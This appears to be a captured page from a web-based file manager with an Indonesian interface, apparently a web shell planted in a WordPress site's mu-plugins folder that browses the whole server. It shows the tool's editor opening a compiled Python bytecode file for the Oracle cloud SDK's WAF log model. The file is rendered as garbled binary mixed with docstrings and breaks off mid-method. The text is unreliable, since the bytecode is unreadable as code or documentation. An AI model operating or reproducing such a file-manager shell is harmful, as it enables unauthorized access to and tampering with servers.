📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/umvavtmy/public_html/website_b18404e2/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
lib
›
python3.9
›
site-packages
›
oci
›
waas
›
models
›
📁 __pycache__
📍
Lokasi:
/usr/lib/python3.9/site-packages/oci/waas/models/__pycache__
💾
Free:
48.2 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: waf_log.cpython-39.opt-1.pyc
a ���f^n � @ s8 d dl mZmZmZ d dlmZ eG dd� de��ZdS )� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ s e Zd ZdZdd� Zedd� �Zejdd� �Zedd� �Zejd d� �Zed d� �Z e jdd� �Z ed d� �Z e jdd� �Z edd� �Zejdd� �Zedd� �Zejdd� �Zedd� �Z e jdd� �Z edd� �Zejdd� �Zedd� �Zejdd� �Zedd � �Zejd!d � �Zed"d#� �Zejd$d#� �Zed%d&� �Zejd'd&� �Zed(d)� �Zejd*d)� �Zed+d,� �Zejd-d,� �Zed.d/� �Zejd0d/� �Zed1d2� �Zejd3d2� �Zed4d5� �Zejd6d5� �Zed7d8� �Zejd9d8� �Zed:d;� �Zejd<d;� �Zed=d>� �Zejd?d>� �Zed@dA� �ZejdBdA� �ZedCdD� �ZejdEdD� �ZedFdG� �ZejdHdG� �ZedIdJ� �ZejdKdJ� �ZedLdM� �ZejdNdM� �ZedOdP� �Z e jdQdP� �Z edRdS� �Z!e!jdTdS� �Z!edUdV� �Z"e"jdWdV� �Z"dXdY� Z#dZd[� Z$d\d]� Z%d^S )_�WafLoga� A list of Web Application Firewall log entries. Each entry is a JSON object, including a timestamp property and other fields varying based on log type. Logs record what rules and countermeasures are triggered by requests and are used as a basis to move request handling into block mode. For more information about WAF logs, see `Logs`__. __ https://docs.cloud.oracle.com/iaas/Content/WAF/Tasks/logs.htm c K s, ddddddddddddddddddddddddddddd�| _ dddd d ddd ddddddddddddddddddd d!d�| _d"| _d"| _d"| _d"| _d"| _d"| _d"| _d"| _ d"| _ d"| _d"| _d"| _ d"| _d"| _d"| _d"| _d"| _d"| _d"| _d"| _d"| _d"| _d"| _d"| _d"| _d"| _d"| _d"| _d"S )#a| Initializes a new WafLog object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param action: The value to assign to the action property of this WafLog. :type action: str :param captcha_action: The value to assign to the captcha_action property of this WafLog. :type captcha_action: str :param captcha_expected: The value to assign to the captcha_expected property of this WafLog. :type captcha_expected: str :param captcha_received: The value to assign to the captcha_received property of this WafLog. :type captcha_received: str :param captcha_fail_count: The value to assign to the captcha_fail_count property of this WafLog. :type captcha_fail_count: str :param client_address: The value to assign to the client_address property of this WafLog. :type client_address: str :param country_name: The value to assign to the country_name property of this WafLog. :type country_name: str :param user_agent: The value to assign to the user_agent property of this WafLog. :type user_agent: str :param domain: The value to assign to the domain property of this WafLog. :type domain: str :param protection_rule_detections: The value to assign to the protection_rule_detections property of this WafLog. :type protection_rule_detections: dict(str, str) :param http_method: The value to assign to the http_method property of this WafLog. :type http_method: str :param request_url: The value to assign to the request_url property of this WafLog. :type request_url: str :param http_headers: The value to assign to the http_headers property of this WafLog. :type http_headers: dict(str, str) :param referrer: The value to assign to the referrer property of this WafLog. :type referrer: str :param response_code: The value to assign to the response_code property of this WafLog. :type response_code: int :param response_size: The value to assign to the response_size property of this WafLog. :type response_size: int :param incident_key: The value to assign to the incident_key property of this WafLog. :type incident_key: str :param fingerprint: The value to assign to the fingerprint property of this WafLog. :type fingerprint: str :param device: The value to assign to the device property of this WafLog. :type device: str :param country_code: The value to assign to the country_code property of this WafLog. :type country_code: str :param request_headers: The value to assign to the request_headers property of this WafLog. :type request_headers: dict(str, str) :param threat_feed_key: The value to assign to the threat_feed_key property of this WafLog. :type threat_feed_key: str :param access_rule_key: The value to assign to the access_rule_key property of this WafLog. :type access_rule_key: str :param address_rate_limiting_key: The value to assign to the address_rate_limiting_key property of this WafLog. :type address_rate_limiting_key: str :param timestamp: The value to assign to the timestamp property of this WafLog. :type timestamp: datetime :param log_type: The value to assign to the log_type property of this WafLog. :type log_type: str :param origin_address: The value to assign to the origin_address property of this WafLog. :type origin_address: str :param origin_response_time: The value to assign to the origin_response_time property of this WafLog. :type origin_response_time: str �strzdict(str, str)�intZdatetime)�action�captcha_action�captcha_expected�captcha_received�captcha_fail_count�client_address�country_name� user_agent�domain�protection_rule_detections�http_method�request_url�http_headers�referrer� response_code� response_size�incident_key�fingerprint�device�country_code�request_headers�threat_feed_key�access_rule_key�address_rate_limiting_key� timestamp�log_type�origin_address�origin_response_timer Z captchaActionZcaptchaExpectedZcaptchaReceivedZcaptchaFailCountZ clientAddressZcountryNameZ userAgentr ZprotectionRuleDetectionsZ httpMethodZ requestUrlZhttpHeadersr ZresponseCodeZresponseSizeZincidentKeyr r ZcountryCodeZrequestHeadersZ threatFeedKeyZ accessRuleKeyZaddressRateLimitingKeyr! ZlogTypeZ originAddressZoriginResponseTimeN)Z swagger_typesZ attribute_map�_action�_captcha_action�_captcha_expected�_captcha_received�_captcha_fail_count�_client_address� _country_name�_user_agent�_domain�_protection_rule_detections�_http_method�_request_url� _http_headers� _referrer�_response_code�_response_size� _incident_key�_fingerprint�_device� _country_code�_request_headers�_threat_feed_key�_access_rule_key�_address_rate_limiting_key� _timestamp� _log_type�_origin_address�_origin_response_time)�self�kwargs� rC �;/usr/lib/python3.9/site-packages/oci/waas/models/waf_log.py�__init__ s� w� �zWafLog.__init__c C s | j S )z� Gets the action of this WafLog. The action taken on the request, either `ALLOW`, `DETECT`, or `BLOCK`. :return: The action of this WafLog. :rtype: str �r% �rA rC rC rD r � s z WafLog.actionc C s || _ dS )z� Sets the action of this WafLog. The action taken on the request, either `ALLOW`, `DETECT`, or `BLOCK`. :param action: The action of this WafLog. :type: str NrF )rA r rC rC rD r � s c C s | j S )a Gets the captcha_action of this WafLog. The CAPTCHA action taken on the request, `ALLOW` or `BLOCK`. For more information about CAPTCHAs, see `UpdateCaptchas`. :return: The captcha_action of this WafLog. :rtype: str �r&